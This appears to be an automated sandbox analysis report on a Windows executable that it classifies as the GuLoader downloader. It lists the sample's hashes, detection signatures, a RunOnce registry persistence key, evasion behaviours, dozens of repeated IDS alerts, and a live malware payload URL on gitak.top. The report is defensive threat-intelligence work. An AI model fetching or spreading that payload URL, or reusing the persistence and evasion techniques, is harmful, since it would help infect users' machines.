Edit tour

Windows Analysis Report
WEAREX_IHRACAT.exe

Overview

General Information

Sample name:	WEAREX_IHRACAT.exe
Analysis ID:	1501093
MD5:	2e620407c0b25239ef46534a34217c27
SHA1:	1751f775e9e9279757ec94c9f4cf63b01af42525
SHA256:	a49b3780d9a1af972b0e6d252284edff3b00e35713336456579431f1081debe4
Infos:

Detection

GuLoader

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Sigma detected: New RUN Key Pointing to Suspicious Folder

Switches to a custom stack to bypass stack traces

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

WEAREX_IHRACAT.exe (PID: 8804 cmdline: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe" MD5: 2E620407C0B25239EF46534A34217C27)

WEAREX_IHRACAT.exe (PID: 6300 cmdline: "C:\Users\user\Desktop\WEAREX_IHRACAT.exe" MD5: 2E620407C0B25239EF46534A34217C27)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.6650157112.0000000001721000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000000.00000002.2455393389.00000000031C1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\WEAREX_IHRACAT.exe, ProcessId: 6300, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Aaregang

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\WEAREX_IHRACAT.exe, ProcessId: 6300, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Aaregang

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:47:29.980026+0200
SID:	2803270
Severity:	2
Source Port:	49817
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:44:10.058869+0200
SID:	2803270
Severity:	2
Source Port:	49798
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:47:40.545730+0200
SID:	2803270
Severity:	2
Source Port:	49818
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:16.116813+0200
SID:	2803270
Severity:	2
Source Port:	49810
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:40:39.276679+0200
SID:	2803270
Severity:	2
Source Port:	49778
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:10.845968+0200
SID:	2803270
Severity:	2
Source Port:	49781
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:38.548806+0200
SID:	2803270
Severity:	2
Source Port:	49795
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:44.642511+0200
SID:	2803270
Severity:	2
Source Port:	49807
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:48:01.626916+0200
SID:	2803270
Severity:	2
Source Port:	49820
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:02.626566+0200
SID:	2803270
Severity:	2
Source Port:	49803
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:13.957536+0200
SID:	2803270
Severity:	2
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:55.128979+0200
SID:	2803270
Severity:	2
Source Port:	49808
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:47:51.113817+0200
SID:	2803270
Severity:	2
Source Port:	49819
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:44:31.092272+0200
SID:	2803270
Severity:	2
Source Port:	49800
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:23.646662+0200
SID:	2803270
Severity:	2
Source Port:	49805
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:47:19.408610+0200
SID:	2803270
Severity:	2
Source Port:	49816
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:13.157708+0200
SID:	2803270
Severity:	2
Source Port:	49804
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:21.355961+0200
SID:	2803270
Severity:	2
Source Port:	49782
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:48:12.140527+0200
SID:	2803270
Severity:	2
Source Port:	49821
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:03.439873+0200
SID:	2803270
Severity:	2
Source Port:	49786
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:40:49.799928+0200
SID:	2803270
Severity:	2
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:44:41.578317+0200
SID:	2803270
Severity:	2
Source Port:	49801
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:49.031831+0200
SID:	2803270
Severity:	2
Source Port:	49796
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:00.329177+0200
SID:	2803270
Severity:	2
Source Port:	49780
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:44:20.589165+0200
SID:	2803270
Severity:	2
Source Port:	49799
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:35.005423+0200
SID:	2803270
Severity:	2
Source Port:	49789
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:47.848269+0200
SID:	2803270
Severity:	2
Source Port:	49813
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:44:52.095797+0200
SID:	2803270
Severity:	2
Source Port:	49802
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:42.381784+0200
SID:	2803270
Severity:	2
Source Port:	49784
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:37.342240+0200
SID:	2803270
Severity:	2
Source Port:	49812
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:05.614459+0200
SID:	2803270
Severity:	2
Source Port:	49809
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:17.242681+0200
SID:	2803270
Severity:	2
Source Port:	49793
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:56.123591+0200
SID:	2803270
Severity:	2
Source Port:	49791
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:58.386091+0200
SID:	2803270
Severity:	2
Source Port:	49814
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:31.868230+0200
SID:	2803270
Severity:	2
Source Port:	49783
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:06.681213+0200
SID:	2803270
Severity:	2
Source Port:	49792
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:46:26.601577+0200
SID:	2803270
Severity:	2
Source Port:	49811
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:45.555184+0200
SID:	2803270
Severity:	2
Source Port:	49790
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:28.012773+0200
SID:	2803270
Severity:	2
Source Port:	49794
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:43:59.510821+0200
SID:	2803270
Severity:	2
Source Port:	49797
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:41:52.906252+0200
SID:	2803270
Severity:	2
Source Port:	49785
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:47:08.891767+0200
SID:	2803270
Severity:	2
Source Port:	49815
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:42:24.464710+0200
SID:	2803270
Severity:	2
Source Port:	49788
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:45:34.136906+0200
SID:	2803270
Severity:	2
Source Port:	49806
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:40:18.273315+0200
SID:	2803270
Severity:	2
Source Port:	49776
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.11.20 - Destination IP: 172.67.207.219

Timestamp:	2024-08-29T12:40:28.757039+0200
SID:	2803270
Severity:	2
Source Port:	49777
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://gitak.top/dmAaHCQMI79.bin/A~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin5	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin)	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin6	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/9~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin6	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin0	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binM~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binD	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binNJ	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bine~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binY~	Avira URL Cloud: Label: malware
Source: https://gitak.top/W~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/o~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binR	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/Y~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binR	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binX	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/K~v	Avira URL Cloud: Label: malware
Source: https://gitak.top/e~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binK	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin-~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binX	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bino~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binA~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binK~v	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binD	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binf	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin9~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/M~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bince	Avira URL Cloud: Label: malware
Source: https://gitak.top/7~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binq	Avira URL Cloud: Label: malware
Source: https://gitak.top/A~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binW~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/7~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binz	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binl	Avira URL Cloud: Label: malware
Source: https://gitak.top/	Avira URL Cloud: Label: malware
Source: https://gitak.top/M~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binc~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/e~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binMicrosoft	Avira URL Cloud: Label: malware
Source: https://gitak.top/K~v	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binl	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binz	Avira URL Cloud: Label: malware
Source: https://gitak.top/My	Avira URL Cloud: Label: malware
Source: https://gitak.top/Y~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin7~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/W~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin/c~	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.bin(	Avira URL Cloud: Label: malware
Source: https://gitak.top/dmAaHCQMI79.binAuthority	Avira URL Cloud: Label: malware
Source: https://gitak.top/o~	Avira URL Cloud: Label: malware
Source: https://gitak.top/9~	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: gitak.top	Virustotal: Detection: 22%			Perma Link
Source: https://gitak.top/dmAaHCQMI79.bin	Virustotal: Detection: 19%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe

ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: WEAREX_IHRACAT.exe	ReversingLabs: Detection: 57%
Source: WEAREX_IHRACAT.exe	Virustotal: Detection: 70%			Perma Link

Source: WEAREX_IHRACAT.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.207.219:443 -> 192.168.11.20:49776 version: TLS 1.2

Source:	Binary string: mshtml.pdb source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49776 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49778 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49782 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49806 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49786 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49781 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49779 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49787 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49780 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49797 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49791 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49783 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49794 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49792 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49784 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49798 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49793 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49788 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49814 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49777 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49808 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49807 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49799 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49795 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49790 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49785 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49816 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49819 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49801 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49800 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49796 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49789 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49818 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49803 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49815 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49802 -> 172.67.207.219:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.20:49821 -> 172.67.207.219:443
